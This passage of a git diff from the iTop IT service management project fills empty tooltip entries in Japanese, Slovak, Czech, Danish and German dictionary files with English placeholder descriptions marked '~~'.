'Class:Change/Attribute:parent_id_friendlyname+' => '', 'Class:Change/Stimulus:ev_assign' => 'Assigner', diff --git a/datamodels/2.x/itop-change-mgmt/dictionaries/ja.dict.itop-change-mgmt.php b/datamodels/2.x/itop-change-mgmt/dictionaries/ja.dict.itop-change-mgmt.php index 7bbf984ee..c2365ab55 100644 --- a/datamodels/2.x/itop-change-mgmt/dictionaries/ja.dict.itop-change-mgmt.php +++ b/datamodels/2.x/itop-change-mgmt/dictionaries/ja.dict.itop-change-mgmt.php @@ -108,13 +108,13 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Change/Attribute:fallback_plan' => 'フォールバック計画', 'Class:Change/Attribute:fallback_plan+' => '', 'Class:Change/Attribute:related_request_list' => '関連要求', - 'Class:Change/Attribute:related_request_list+' => '', + 'Class:Change/Attribute:related_request_list+' => 'All the user requests linked to this change~~', 'Class:Change/Attribute:related_incident_list' => '関連インシデント', - 'Class:Change/Attribute:related_incident_list+' => '', + 'Class:Change/Attribute:related_incident_list+' => 'All the incidents linked to this change~~', 'Class:Change/Attribute:related_problems_list' => '関連問題', - 'Class:Change/Attribute:related_problems_list+' => '', + 'Class:Change/Attribute:related_problems_list+' => 'All the problems linked to this change~~', 'Class:Change/Attribute:child_changes_list' => '子変更', - 'Class:Change/Attribute:child_changes_list+' => '', + 'Class:Change/Attribute:child_changes_list+' => 'All the sub changes linked to this change~~', 'Class:Change/Attribute:parent_id_friendlyname' => '親変更フレンドリー名', 'Class:Change/Attribute:parent_id_friendlyname+' => '', 'Class:Change/Stimulus:ev_assign' => '割り当て', diff --git a/datamodels/2.x/itop-change-mgmt/dictionaries/sk.dict.itop-change-mgmt.php b/datamodels/2.x/itop-change-mgmt/dictionaries/sk.dict.itop-change-mgmt.php index a5a82b4c7..b93327e1f 100644 --- a/datamodels/2.x/itop-change-mgmt/dictionaries/sk.dict.itop-change-mgmt.php +++ b/datamodels/2.x/itop-change-mgmt/dictionaries/sk.dict.itop-change-mgmt.php @@ -109,13 +109,13 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Change/Attribute:fallback_plan' => 'Návratový plán', 'Class:Change/Attribute:fallback_plan+' => '', 'Class:Change/Attribute:related_request_list' => 'Súvisiace požiadavky', - 'Class:Change/Attribute:related_request_list+' => '', + 'Class:Change/Attribute:related_request_list+' => 'All the user requests linked to this change~~', 'Class:Change/Attribute:related_incident_list' => 'Súvisiace incidenty', - 'Class:Change/Attribute:related_incident_list+' => '', + 'Class:Change/Attribute:related_incident_list+' => 'All the incidents linked to this change~~', 'Class:Change/Attribute:related_problems_list' => 'Súvisiace problémy', - 'Class:Change/Attribute:related_problems_list+' => '', + 'Class:Change/Attribute:related_problems_list+' => 'All the problems linked to this change~~', 'Class:Change/Attribute:child_changes_list' => 'Podriadené zmeny', - 'Class:Change/Attribute:child_changes_list+' => '', + 'Class:Change/Attribute:child_changes_list+' => 'All the sub changes linked to this change~~', 'Class:Change/Attribute:parent_id_friendlyname' => 'Priateľské meno rodičovskej zmeny', 'Class:Change/Attribute:parent_id_friendlyname+' => '', 'Class:Change/Stimulus:ev_assign' => 'Prideiť', diff --git a/datamodels/2.x/itop-config-mgmt/dictionaries/cs.dict.itop-config-mgmt.php b/datamodels/2.x/itop-config-mgmt/dictionaries/cs.dict.itop-config-mgmt.php index 1c98eac00..b6496da5a 100644 --- a/datamodels/2.x/itop-config-mgmt/dictionaries/cs.dict.itop-config-mgmt.php +++ b/datamodels/2.x/itop-config-mgmt/dictionaries/cs.dict.itop-config-mgmt.php @@ -122,13 +122,13 @@ Dict::Add('CS CZ', 'Czech', 'Čeština', array( 'Class:FunctionalCI/Attribute:move2production' => 'Datum uvedení do produkce', 'Class:FunctionalCI/Attribute:move2production+' => '', 'Class:FunctionalCI/Attribute:contacts_list' => 'Kontakty', - 'Class:FunctionalCI/Attribute:contacts_list+' => '', + 'Class:FunctionalCI/Attribute:contacts_list+' => 'All the contacts for this configuration item~~', 'Class:FunctionalCI/Attribute:documents_list' => 'Dokumenty', - 'Class:FunctionalCI/Attribute:documents_list+' => '', + 'Class:FunctionalCI/Attribute:documents_list+' => 'All the documents linked to this configuration item~~', 'Class:FunctionalCI/Attribute:applicationsolution_list' => 'Aplikační řešení', 'Class:FunctionalCI/Attribute:applicationsolution_list+' => 'Všechna aplikační řešení závisející na této konfigurační položce', 'Class:FunctionalCI/Attribute:softwares_list' => 'Software', - 'Class:FunctionalCI/Attribute:softwares_list+' => '', + 'Class:FunctionalCI/Attribute:softwares_list+' => 'All the softwares installed on this configuration item~~', 'Class:FunctionalCI/Attribute:finalclass' => 'Typ konfigurační položky', 'Class:FunctionalCI/Attribute:finalclass+' => '', 'Class:FunctionalCI/Tab:OpenedTickets' => 'Aktivní tikety', @@ -183,9 +183,9 @@ Dict::Add('CS CZ', 'Czech', 'Čeština', array( 'Class:Rack/Attribute:nb_u' => 'Velikost (U)', 'Class:Rack/Attribute:nb_u+' => '', 'Class:Rack/Attribute:device_list' => 'Zařízení', - 'Class:Rack/Attribute:device_list+' => '', + 'Class:Rack/Attribute:device_list+' => 'All the physical devices racked into this rack~~', 'Class:Rack/Attribute:enclosure_list' => 'Šasi', - 'Class:Rack/Attribute:enclosure_list+' => '', + 'Class:Rack/Attribute:enclosure_list+' => 'All the enclosures in this rack~~', )); // @@ -247,9 +247,9 @@ Dict::Add('CS CZ', 'Czech', 'Čeština', array( 'Class:ConnectableCI' => 'Připojitelná konfigurační položka', 'Class:ConnectableCI+' => '', 'Class:ConnectableCI/Attribute:networkdevice_list' => 'Síťové prvky', - 'Class:ConnectableCI/Attribute:networkdevice_list+' => '', + 'Class:ConnectableCI/Attribute:networkdevice_list+' => 'All network devices connected to this device~~', 'Class:ConnectableCI/Attribute:physicalinterface_list' => 'Síťová rozhraní', - 'Class:ConnectableCI/Attribute:physicalinterface_list+' => '', + 'Class:ConnectableCI/Attribute:physicalinterface_list+' => 'All the physical network interfaces~~', )); // @@ -280,9 +280,9 @@ Dict::Add('CS CZ', 'Czech', 'Čeština', array( 'Class:DatacenterDevice/Attribute:powerB_name' => 'Název napájecího zdroje B', 'Class:DatacenterDevice/Attribute:powerB_name+' => '', 'Class:DatacenterDevice/Attribute:fiberinterfacelist_list' => 'FC porty', - 'Class:DatacenterDevice/Attribute:fiberinterfacelist_list+' => '', + 'Class:DatacenterDevice/Attribute:fiberinterfacelist_list+' => 'All the fiber channel interfaces for this device~~', 'Class:DatacenterDevice/Attribute:san_list' => 'SAN switche', - 'Class:DatacenterDevice/Attribute:san_list+' => '', + 'Class:DatacenterDevice/Attribute:san_list+' => 'All the SAN switches connected to this device~~', 'Class:DatacenterDevice/Attribute:redundancy' => 'Redundance', 'Class:DatacenterDevice/Attribute:redundancy/count' => 'Zařízení je v provozu, pokud je funkční alespoň jeden zdroj', // Unused yet @@ -302,7 +302,7 @@ Dict::Add('CS CZ', 'Czech', 'Čeština', array( 'Class:NetworkDevice/Attribute:networkdevicetype_name' => 'Název typu zařízení', 'Class:NetworkDevice/Attribute:networkdevicetype_name+' => '', 'Class:NetworkDevice/Attribute:connectablecis_list' => 'Zařízení', - 'Class:NetworkDevice/Attribute:connectablecis_list+' => '', + 'Class:NetworkDevice/Attribute:connectablecis_list+' => 'All the devices connected to this network device~~', 'Class:NetworkDevice/Attribute:iosversion_id' => 'Verze IOS', 'Class:NetworkDevice/Attribute:iosversion_id+' => '', 'Class:NetworkDevice/Attribute:iosversion_name' => 'Název verze IOS', @@ -335,7 +335,7 @@ Dict::Add('CS CZ', 'Czech', 'Čeština', array( 'Class:Server/Attribute:ram' => 'RAM', 'Class:Server/Attribute:ram+' => '', 'Class:Server/Attribute:logicalvolumes_list' => 'Logické svazky', - 'Class:Server/Attribute:logicalvolumes_list+' => '', + 'Class:Server/Attribute:logicalvolumes_list+' => 'All the logical volumes connected to this server~~', )); // diff --git a/datamodels/2.x/itop-config-mgmt/dictionaries/da.dict.itop-config-mgmt.php b/datamodels/2.x/itop-config-mgmt/dictionaries/da.dict.itop-config-mgmt.php index 120d0a931..c6df02f9e 100644 --- a/datamodels/2.x/itop-config-mgmt/dictionaries/da.dict.itop-config-mgmt.php +++ b/datamodels/2.x/itop-config-mgmt/dictionaries/da.dict.itop-config-mgmt.php @@ -115,13 +115,13 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:FunctionalCI/Attribute:move2production' => 'Overgået til produktions dato', 'Class:FunctionalCI/Attribute:move2production+' => 'Dato for overgang til produktion', 'Class:FunctionalCI/Attribute:contacts_list' => 'Kontakter', - 'Class:FunctionalCI/Attribute:contacts_list+' => '', + 'Class:FunctionalCI/Attribute:contacts_list+' => 'All the contacts for this configuration item~~', 'Class:FunctionalCI/Attribute:documents_list' => 'Dokumenter', - 'Class:FunctionalCI/Attribute:documents_list+' => '', + 'Class:FunctionalCI/Attribute:documents_list+' => 'All the documents linked to this configuration item~~', 'Class:FunctionalCI/Attribute:applicationsolution_list' => 'Applikations løsning', - 'Class:FunctionalCI/Attribute:applicationsolution_list+' => '', + 'Class:FunctionalCI/Attribute:applicationsolution_list+' => 'All the application solutions depending on this configuration item~~', 'Class:FunctionalCI/Attribute:softwares_list' => 'Software', - 'Class:FunctionalCI/Attribute:softwares_list+' => '', + 'Class:FunctionalCI/Attribute:softwares_list+' => 'All the softwares installed on this configuration item~~', 'Class:FunctionalCI/Attribute:finalclass' => 'Type', 'Class:FunctionalCI/Attribute:finalclass+' => '', 'Class:FunctionalCI/Tab:OpenedTickets' => 'Active Tickets~~', @@ -176,9 +176,9 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Rack/Attribute:nb_u' => 'NB U', 'Class:Rack/Attribute:nb_u+' => '', 'Class:Rack/Attribute:device_list' => 'Enheder', - 'Class:Rack/Attribute:device_list+' => '', + 'Class:Rack/Attribute:device_list+' => 'All the physical devices racked into this rack~~', 'Class:Rack/Attribute:enclosure_list' => 'Enclosures', - 'Class:Rack/Attribute:enclosure_list+' => '', + 'Class:Rack/Attribute:enclosure_list+' => 'All the enclosures in this rack~~', )); // @@ -240,9 +240,9 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:ConnectableCI' => 'Forbindbare CI', 'Class:ConnectableCI+' => 'Fysiske CI', 'Class:ConnectableCI/Attribute:networkdevice_list' => 'Netværks enheder', - 'Class:ConnectableCI/Attribute:networkdevice_list+' => '', + 'Class:ConnectableCI/Attribute:networkdevice_list+' => 'All network devices connected to this device~~', 'Class:ConnectableCI/Attribute:physicalinterface_list' => 'Netværks interfaces', - 'Class:ConnectableCI/Attribute:physicalinterface_list+' => '', + 'Class:ConnectableCI/Attribute:physicalinterface_list+' => 'All the physical network interfaces~~', )); // @@ -273,9 +273,9 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:DatacenterDevice/Attribute:powerB_name' => 'PowerB kildenavn', 'Class:DatacenterDevice/Attribute:powerB_name+' => '', 'Class:DatacenterDevice/Attribute:fiberinterfacelist_list' => 'FC Porte', - 'Class:DatacenterDevice/Attribute:fiberinterfacelist_list+' => '', + 'Class:DatacenterDevice/Attribute:fiberinterfacelist_list+' => 'All the fiber channel interfaces for this device~~', 'Class:DatacenterDevice/Attribute:san_list' => 'SANs', - 'Class:DatacenterDevice/Attribute:san_list+' => '', + 'Class:DatacenterDevice/Attribute:san_list+' => 'All the SAN switches connected to this device~~', 'Class:DatacenterDevice/Attribute:redundancy' => 'Redundancy~~', 'Class:DatacenterDevice/Attribute:redundancy/count' => 'The device is up if at least one power connection (A or B) is up~~', // Unused yet @@ -295,7 +295,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:NetworkDevice/Attribute:networkdevicetype_name' => 'Netværktypenavn', 'Class:NetworkDevice/Attribute:networkdevicetype_name+' => '', 'Class:NetworkDevice/Attribute:connectablecis_list' => 'Enhed', - 'Class:NetworkDevice/Attribute:connectablecis_list+' => '', + 'Class:NetworkDevice/Attribute:connectablecis_list+' => 'All the devices connected to this network device~~', 'Class:NetworkDevice/Attribute:iosversion_id' => 'IOS Version', 'Class:NetworkDevice/Attribute:iosversion_id+' => '', 'Class:NetworkDevice/Attribute:iosversion_name' => 'IOS versionsnavn', @@ -328,7 +328,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Server/Attribute:ram' => 'RAM', 'Class:Server/Attribute:ram+' => '', 'Class:Server/Attribute:logicalvolumes_list' => 'Logical Volumes', - 'Class:Server/Attribute:logicalvolumes_list+' => '', + 'Class:Server/Attribute:logicalvolumes_list+' => 'All the logical volumes connected to this server~~', )); // @@ -339,7 +339,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:StorageSystem' => 'Storage-System', 'Class:StorageSystem+' => '', 'Class:StorageSystem/Attribute:logicalvolume_list' => 'Logical Volumes', - 'Class:StorageSystem/Attribute:logicalvolume_list+' => '', + 'Class:StorageSystem/Attribute:logicalvolume_list+' => 'All the logical volumes in this storage system~~', )); // @@ -350,7 +350,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:SANSwitch' => 'SAN-Switch', 'Class:SANSwitch+' => '', 'Class:SANSwitch/Attribute:datacenterdevice_list' => 'Enhed', - 'Class:SANSwitch/Attribute:datacenterdevice_list+' => '', + 'Class:SANSwitch/Attribute:datacenterdevice_list+' => 'All the devices connected to this SAN switch~~', )); // @@ -361,7 +361,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:TapeLibrary' => 'Tape-Library', 'Class:TapeLibrary+' => '', 'Class:TapeLibrary/Attribute:tapes_list' => 'Bånd', - 'Class:TapeLibrary/Attribute:tapes_list+' => '', + 'Class:TapeLibrary/Attribute:tapes_list+' => 'All the tapes in the tape library~~', )); // @@ -372,7 +372,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:NAS' => 'NAS', 'Class:NAS+' => '', 'Class:NAS/Attribute:nasfilesystem_list' => 'NAS filsystem liste', - 'Class:NAS/Attribute:nasfilesystem_list+' => '', + 'Class:NAS/Attribute:nasfilesystem_list+' => 'All the file systems in this NAS~~', )); // @@ -428,7 +428,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:PowerSource' => 'Strømkilde', 'Class:PowerSource+' => '', 'Class:PowerSource/Attribute:pdus_list' => 'PDUs', - 'Class:PowerSource/Attribute:pdus_list+' => '', + 'Class:PowerSource/Attribute:pdus_list+' => 'All the PDUs using this power source~~', )); // @@ -471,7 +471,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Enclosure/Attribute:nb_u' => 'NB U', 'Class:Enclosure/Attribute:nb_u+' => '', 'Class:Enclosure/Attribute:device_list' => 'Enhed', - 'Class:Enclosure/Attribute:device_list+' => '', + 'Class:Enclosure/Attribute:device_list+' => 'All the devices in this enclosure~~', )); // @@ -482,9 +482,9 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:ApplicationSolution' => 'Anvendelsområde', 'Class:ApplicationSolution+' => 'Hvilken applikations løsning anvendes den i?', 'Class:ApplicationSolution/Attribute:functionalcis_list' => 'CIs', - 'Class:ApplicationSolution/Attribute:functionalcis_list+' => '', + 'Class:ApplicationSolution/Attribute:functionalcis_list+' => 'All the configuration items that compose this application solution~~', 'Class:ApplicationSolution/Attribute:businessprocess_list' => 'Forretningsprocesser', - 'Class:ApplicationSolution/Attribute:businessprocess_list+' => '', + 'Class:ApplicationSolution/Attribute:businessprocess_list+' => 'All the business processes depending on this application solution~~', 'Class:ApplicationSolution/Attribute:status' => 'Status', 'Class:ApplicationSolution/Attribute:status+' => '', 'Class:ApplicationSolution/Attribute:status/Value:active' => 'Aktiv', @@ -551,7 +551,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Middleware' => 'Middleware', 'Class:Middleware+' => '', 'Class:Middleware/Attribute:middlewareinstance_list' => 'Middleware-Instans(er)', - 'Class:Middleware/Attribute:middlewareinstance_list+' => '', + 'Class:Middleware/Attribute:middlewareinstance_list+' => 'All the middleware instances provided by this middleware~~', )); // @@ -562,7 +562,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:DBServer' => 'DB Server', 'Class:DBServer+' => '', 'Class:DBServer/Attribute:dbschema_list' => 'DB Schema', - 'Class:DBServer/Attribute:dbschema_list+' => '', + 'Class:DBServer/Attribute:dbschema_list+' => 'All the database schemas for this DB server~~', )); // @@ -573,7 +573,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:WebServer' => 'Web Server', 'Class:WebServer+' => '', 'Class:WebServer/Attribute:webapp_list' => 'Web Applikationer', - 'Class:WebServer/Attribute:webapp_list+' => '', + 'Class:WebServer/Attribute:webapp_list+' => 'All the web applications available on this web server~~', )); // @@ -654,7 +654,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:VirtualDevice/Attribute:status/Value:stock' => 'Lager', 'Class:VirtualDevice/Attribute:status/Value:stock+' => '', 'Class:VirtualDevice/Attribute:logicalvolumes_list' => 'Logiske Volumes', - 'Class:VirtualDevice/Attribute:logicalvolumes_list+' => '', + 'Class:VirtualDevice/Attribute:logicalvolumes_list+' => 'All the logical volumes used by this device~~', )); // @@ -665,7 +665,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:VirtualHost' => 'Host', 'Class:VirtualHost+' => '', 'Class:VirtualHost/Attribute:virtualmachine_list' => 'Virtuelle Maskiner', - 'Class:VirtualHost/Attribute:virtualmachine_list+' => '', + 'Class:VirtualHost/Attribute:virtualmachine_list+' => 'All the virtual machines hosted by this host~~', )); // @@ -693,7 +693,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Farm' => 'Farm', 'Class:Farm+' => '', 'Class:Farm/Attribute:hypervisor_list' => 'Hypervisorer', - 'Class:Farm/Attribute:hypervisor_list+' => '', + 'Class:Farm/Attribute:hypervisor_list+' => 'All the hypervisors that compose this farm~~', 'Class:Farm/Attribute:redundancy' => 'High availability~~', 'Class:Farm/Attribute:redundancy/disabled' => 'The farm is up if all the hypervisors are up~~', 'Class:Farm/Attribute:redundancy/count' => 'The farm is up if at least %1$s hypervisor(s) is(are) up~~', @@ -730,7 +730,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:VirtualMachine/Attribute:managementip' => 'IP~~', 'Class:VirtualMachine/Attribute:managementip+' => '~~', 'Class:VirtualMachine/Attribute:logicalinterface_list' => 'Netværks interface', - 'Class:VirtualMachine/Attribute:logicalinterface_list+' => '', + 'Class:VirtualMachine/Attribute:logicalinterface_list+' => 'All the logical network interfaces~~', )); // @@ -755,9 +755,9 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:LogicalVolume/Attribute:storagesystem_name' => 'Storage systemnavn', 'Class:LogicalVolume/Attribute:storagesystem_name+' => '', 'Class:LogicalVolume/Attribute:servers_list' => 'Server', - 'Class:LogicalVolume/Attribute:servers_list+' => '', + 'Class:LogicalVolume/Attribute:servers_list+' => 'All the servers using this volume~~', 'Class:LogicalVolume/Attribute:virtualdevices_list' => 'Virtuelle enheder', - 'Class:LogicalVolume/Attribute:virtualdevices_list+' => '', + 'Class:LogicalVolume/Attribute:virtualdevices_list+' => 'All the virtual devices using this volume~~', )); // @@ -873,7 +873,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Software/Attribute:version' => 'Version', 'Class:Software/Attribute:version+' => '', 'Class:Software/Attribute:documents_list' => 'Dokument', - 'Class:Software/Attribute:documents_list+' => '', + 'Class:Software/Attribute:documents_list+' => 'All the documents linked to this software~~', 'Class:Software/Attribute:type' => 'Type', 'Class:Software/Attribute:type+' => '', 'Class:Software/Attribute:type/Value:DBServer' => 'DB Server', @@ -887,11 +887,11 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Software/Attribute:type/Value:WebServer' => 'Web server', 'Class:Software/Attribute:type/Value:WebServer+' => '', 'Class:Software/Attribute:softwareinstance_list' => 'Software Instanser', - 'Class:Software/Attribute:softwareinstance_list+' => '', + 'Class:Software/Attribute:softwareinstance_list+' => 'All the software instances for this software~~', 'Class:Software/Attribute:softwarepatch_list' => 'Software Patches', - 'Class:Software/Attribute:softwarepatch_list+' => '', + 'Class:Software/Attribute:softwarepatch_list+' => 'All the patchs for this software~~', 'Class:Software/Attribute:softwarelicence_list' => 'Software Licenser', - 'Class:Software/Attribute:softwarelicence_list+' => '', + 'Class:Software/Attribute:softwarelicence_list+' => 'All the licenses for this software~~', )); // @@ -904,7 +904,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Patch/Attribute:name' => 'Navn', 'Class:Patch/Attribute:name+' => '', 'Class:Patch/Attribute:documents_list' => 'Dokumenter', - 'Class:Patch/Attribute:documents_list+' => '', + 'Class:Patch/Attribute:documents_list+' => 'All the documents linked to this patch~~', 'Class:Patch/Attribute:description' => 'Beskrivelse', 'Class:Patch/Attribute:description+' => '', 'Class:Patch/Attribute:finalclass' => 'Type', @@ -919,7 +919,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:OSPatch' => 'OS-Patch', 'Class:OSPatch+' => '', 'Class:OSPatch/Attribute:functionalcis_list' => 'Enhed', - 'Class:OSPatch/Attribute:functionalcis_list+' => '', + 'Class:OSPatch/Attribute:functionalcis_list+' => 'All the systems where this patch is installed~~', 'Class:OSPatch/Attribute:osversion_id' => 'OS Version', 'Class:OSPatch/Attribute:osversion_id+' => '', 'Class:OSPatch/Attribute:osversion_name' => 'OS versionsnavn', @@ -938,7 +938,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:SoftwarePatch/Attribute:software_name' => 'Software navn', 'Class:SoftwarePatch/Attribute:software_name+' => '', 'Class:SoftwarePatch/Attribute:softwareinstances_list' => 'Software Instanser', - 'Class:SoftwarePatch/Attribute:softwareinstances_list+' => '', + 'Class:SoftwarePatch/Attribute:softwareinstances_list+' => 'All the systems where this software patch is installed~~', )); // @@ -951,7 +951,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Licence/Attribute:name' => 'Navn', 'Class:Licence/Attribute:name+' => '', 'Class:Licence/Attribute:documents_list' => 'Dokumenter', - 'Class:Licence/Attribute:documents_list+' => '', + 'Class:Licence/Attribute:documents_list+' => 'All the documents linked to this license~~', 'Class:Licence/Attribute:org_id' => 'Ejer', 'Class:Licence/Attribute:org_id+' => '', 'Class:Licence/Attribute:organization_name' => 'Organisationsnavn', @@ -988,9 +988,9 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:OSLicence/Attribute:osversion_name' => 'OS versionsnavn', 'Class:OSLicence/Attribute:osversion_name+' => '', 'Class:OSLicence/Attribute:virtualmachines_list' => 'Virtuelle Maskiner', - 'Class:OSLicence/Attribute:virtualmachines_list+' => '', + 'Class:OSLicence/Attribute:virtualmachines_list+' => 'All the virtual machines where this license is used~~', 'Class:OSLicence/Attribute:servers_list' => 'Server', - 'Class:OSLicence/Attribute:servers_list+' => '', + 'Class:OSLicence/Attribute:servers_list+' => 'All the servers where this license is used~~', )); // @@ -1005,7 +1005,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:SoftwareLicence/Attribute:software_name' => 'Software navn', 'Class:SoftwareLicence/Attribute:software_name+' => '', 'Class:SoftwareLicence/Attribute:softwareinstance_list' => 'Software Instanser', - 'Class:SoftwareLicence/Attribute:softwareinstance_list+' => '', + 'Class:SoftwareLicence/Attribute:softwareinstance_list+' => 'All the systems where this license is used~~', )); // @@ -1055,7 +1055,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Brand' => 'Mærke', 'Class:Brand+' => '', 'Class:Brand/Attribute:physicaldevices_list' => 'Fysisk enhed', - 'Class:Brand/Attribute:physicaldevices_list+' => '', + 'Class:Brand/Attribute:physicaldevices_list+' => 'All the physical devices corresponding to this brand~~', 'Class:Brand/UniquenessRule:name+' => 'The name must be unique~~', 'Class:Brand/UniquenessRule:name' => 'This brand already exists~~', )); @@ -1110,7 +1110,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Model/Attribute:type/Value:Phone' => 'Telephone~~', 'Class:Model/Attribute:type/Value:Phone+' => 'Telephone~~', 'Class:Model/Attribute:physicaldevices_list' => 'Fyisk enhed', - 'Class:Model/Attribute:physicaldevices_list+' => '', + 'Class:Model/Attribute:physicaldevices_list+' => 'All the physical devices corresponding to this model~~', 'Class:Model/UniquenessRule:name_brand+' => 'Name must be unique in the brand~~', 'Class:Model/UniquenessRule:name_brand' => 'this model already exists for this brand~~', )); @@ -1123,7 +1123,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:NetworkDeviceType' => 'Netværksenhed type', 'Class:NetworkDeviceType+' => '', 'Class:NetworkDeviceType/Attribute:networkdevicesdevices_list' => 'Netværks enheder', - 'Class:NetworkDeviceType/Attribute:networkdevicesdevices_list+' => '', + 'Class:NetworkDeviceType/Attribute:networkdevicesdevices_list+' => 'All the network devices corresponding to this type~~', )); // @@ -1467,7 +1467,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Group/Attribute:parent_name' => 'Navn', 'Class:Group/Attribute:parent_name+' => '', 'Class:Group/Attribute:ci_list' => 'Forbundne CIs', - 'Class:Group/Attribute:ci_list+' => '', + 'Class:Group/Attribute:ci_list+' => 'All the configuration items linked to this group~~', 'Class:Group/Attribute:parent_id_friendlyname' => 'Parent Gruppe', 'Class:Group/Attribute:parent_id_friendlyname+' => '', )); diff --git a/datamodels/2.x/itop-config-mgmt/dictionaries/de.dict.itop-config-mgmt.php b/datamodels/2.x/itop-config-mgmt/dictionaries/de.dict.itop-config-mgmt.php index 4a6fe87e6..65bf62267 100644 --- a/datamodels/2.x/itop-config-mgmt/dictionaries/de.dict.itop-config-mgmt.php +++ b/datamodels/2.x/itop-config-mgmt/dictionaries/de.dict.itop-config-mgmt.php @@ -117,13 +117,13 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:FunctionalCI/Attribute:move2production' => 'Go-Live-Datum', 'Class:FunctionalCI/Attribute:move2production+' => 'Datum, an dem in Produktivbetrieb gegangen wird/wurde', 'Class:FunctionalCI/Attribute:contacts_list' => 'Kontakte', - 'Class:FunctionalCI/Attribute:contacts_list+' => '', + 'Class:FunctionalCI/Attribute:contacts_list+' => 'All the contacts for this configuration item~~', 'Class:FunctionalCI/Attribute:documents_list' => 'Dokumente', - 'Class:FunctionalCI/Attribute:documents_list+' => '', + 'Class:FunctionalCI/Attribute:documents_list+' => 'All the documents linked to this configuration item~~', 'Class:FunctionalCI/Attribute:applicationsolution_list' => 'Anwendungslösungen', - 'Class:FunctionalCI/Attribute:applicationsolution_list+' => '', + 'Class:FunctionalCI/Attribute:applicationsolution_list+' => 'All the application solutions depending on this configuration item~~', 'Class:FunctionalCI/Attribute:softwares_list' => 'Software', - 'Class:FunctionalCI/Attribute:softwares_list+' => '', + 'Class:FunctionalCI/Attribute:softwares_list+' => 'All the softwares installed on this configuration item~~', 'Class:FunctionalCI/Attribute:finalclass' => 'Typ', 'Class:FunctionalCI/Attribute:finalclass+' => '', 'Class:FunctionalCI/Tab:OpenedTickets' => 'Offene Tickets', @@ -178,9 +178,9 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Rack/Attribute:nb_u' => 'Höheneinheiten', 'Class:Rack/Attribute:nb_u+' => '', 'Class:Rack/Attribute:device_list' => 'Devices', - 'Class:Rack/Attribute:device_list+' => '', + 'Class:Rack/Attribute:device_list+' => 'All the physical devices racked into this rack~~', 'Class:Rack/Attribute:enclosure_list' => 'Enclosures', - 'Class:Rack/Attribute:enclosure_list+' => '', + 'Class:Rack/Attribute:enclosure_list+' => 'All the enclosures in this rack~~', )); // @@ -242,9 +242,9 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:ConnectableCI' => 'Verknüpfbares CI', 'Class:ConnectableCI+' => 'Physisches CI', 'Class:ConnectableCI/Attribute:networkdevice_list' => 'Netzwerkgeräte', - 'Class:ConnectableCI/Attribute:networkdevice_list+' => '', + 'Class:ConnectableCI/Attribute:networkdevice_list+' => 'All network devices connected to this device~~', 'Class:ConnectableCI/Attribute:physicalinterface_list' => 'Netzwerkinterfaces', - 'Class:ConnectableCI/Attribute:physicalinterface_list+' => '', + 'Class:ConnectableCI/Attribute:physicalinterface_list+' => 'All the physical network interfaces~~', )); // @@ -275,9 +275,9 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:DatacenterDevice/Attribute:powerB_name' => 'Strom-B-Quellenname', 'Class:DatacenterDevice/Attribute:powerB_name+' => '', 'Class:DatacenterDevice/Attribute:fiberinterfacelist_list' => 'FC-Ports', - 'Class:DatacenterDevice/Attribute:fiberinterfacelist_list+' => '', + 'Class:DatacenterDevice/Attribute:fiberinterfacelist_list+' => 'All the fiber channel interfaces for this device~~', 'Class:DatacenterDevice/Attribute:san_list' => 'SANs', - 'Class:DatacenterDevice/Attribute:san_list+' => '', + 'Class:DatacenterDevice/Attribute:san_list+' => 'All the SAN switches connected to this device~~', 'Class:DatacenterDevice/Attribute:redundancy' => 'Redundanz', 'Class:DatacenterDevice/Attribute:redundancy/count' => 'Das Gerät läuft, wenn mindestens eine der Stromversorgungen (A oder B) läuft.', // Unused yet @@ -297,7 +297,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:NetworkDevice/Attribute:networkdevicetype_name' => 'Netzwerk-Typname', 'Class:NetworkDevice/Attribute:networkdevicetype_name+' => '', 'Class:NetworkDevice/Attribute:connectablecis_list' => 'Geräte', - 